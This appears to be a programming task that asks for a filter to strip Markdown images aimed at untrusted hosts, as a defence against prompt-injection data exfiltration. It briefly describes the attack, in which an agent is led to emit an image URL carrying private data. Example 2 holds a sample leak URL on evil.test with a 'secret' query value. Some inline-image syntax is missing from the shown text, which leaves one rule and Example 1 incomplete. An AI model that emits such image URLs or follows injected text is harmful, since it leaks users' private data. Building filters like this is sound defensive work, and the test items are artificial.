Strip images that would send data to unknown hosts
Your task
Your agent writes replies in Markdown, and the chat window loads every image in them. A prompt injection can make the agent write an image whose URL carries private data, and the browser sends that data as soon as it loads the image. A filter removes images that point at hosts you do not trust.
Write strip_images(reply, allowed_hosts) that returns the reply with those images removed.
Input and output:
reply: up to 5,000 characters of printable ASCII and newlines.allowed_hosts: up to 50 lower-case domain names, such ascdn.example.com.- Return a string.
Rules:
- An inline image is
.althas no]or newline, andurlhas no), space or newline. Either can be empty. - A reference image is
![alt][label], wherelabelhas no]or newline, and its URL comes from a definition. Without a definition for its label it is plain text and stays. - A definition is a whole line of the form
[label]: url, with exactly one space and a non-emptyurlthat has no spaces. It can be anywhere in the reply, before or after the image. Labels are compared without regard to case, and when a label has several definitions the first one counts. Definitions are never removed for being definitions. altends at the first]. Read the reply from left to right, and go on after the end of each image you read.- A URL is trusted only if it starts with
http://orhttps://, in any case, and its host is on the allowlist. - To find the host, take the text after
://up to the first/,?or#. Drop everything up to and including the last@, then drop:and anything after it, then lower-case what is left. - A host is on the allowlist if it equals an allowed name or ends with
.followed by an allowed name. - Remove an image whose URL is not trusted, with nothing left in its place, and keep everything else exactly as it is.
- What you return must contain no image whose URL is not trusted.
- Code blocks and backslashes get no special treatment.
Examples
strip_images(reply: str, allowed_hosts: list[str]) -> strExample 1
Input
strip_images("Here is the chart:  and  done", ["cdn.example.com", "images.acme.io"])Output
"Here is the chart:  and done"Example 2
Input
strip_images("See ![logo][brand] below.\n\n[brand]: https://evil.test/a?d=secret", ["cdn.example.com", "images.acme.io"])Output
"See below.\n\n[brand]: https://evil.test/a?d=secret"Example 3
Input
strip_images("![ok][Pic]\n[pic]: https://static.cdn.example.com:8443/a.png", ["cdn.example.com", "images.acme.io"])Output
"![ok][Pic]\n[pic]: https://static.cdn.example.com:8443/a.png"